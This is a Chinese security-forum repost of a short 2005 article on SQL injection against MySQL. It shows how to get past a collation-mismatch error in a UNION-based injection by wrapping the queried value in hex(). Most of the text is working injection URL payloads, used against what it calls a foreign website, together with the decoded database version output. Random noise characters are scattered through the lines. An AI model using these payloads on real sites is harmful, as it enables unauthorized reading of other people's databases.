找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1948|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei& ^: T: L2 D) Q/ W9 ]; ~. d1 ]; ~9 a
文章性质:原创
# L6 M6 U% L% x- C) V! Q发布日期:2005-10-18
( E0 A+ d/ h# H( ?( z5 T: Y( T8 l测试个国外的站时:
6 l) d- t7 s5 g# a+ t, b; j# k. yurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
+ E  Q. h2 ~" t( ]3 w6 A- S  d3 f7 {返回错误:
" T5 A* _6 g0 w. O$ u7 n$ YIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'' o* o8 t' e" t3 _! w7 `  `
MySQL Error No. 1266 e9 r3 s( ^  T& v  @& V8 p
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。0 m6 v. c' Z) A3 S1 B% X: U
解决办法:转为其他编码如hex。, `. w" V& ^1 Z! W, F  `
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
% s5 y* q4 V1 c" V; L! Z- A7 A8 M成功得到hex(version())的值为:1 q9 [* V* \- g7 t' d2 H
342E312E332D62657461  f* i, C( ~& K/ p
回Mysql查询下得到:
$ y% B. J  _5 amysql> select 0x342E312E332D62657461;3 ]/ c" I; h& M1 v: C
+------------------------+" ~7 _6 q- U& p$ {, P1 R2 V
| 0x342E312E332D62657461 |
/ M0 S; H1 z' B5 D& Z+------------------------+9 a9 I  c( a  h; Q
| 4.1.3-beta |
! Q! B, c0 M5 }0 {4 t+------------------------+$ X& d! X# W7 Z# U2 ^  m, H
1 row in set (0.00 sec)
6 D4 S% u7 ~: ]6 F. b6 ]1 J! B: h( e* }' W) r/ S8 q$ x; H- H( s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表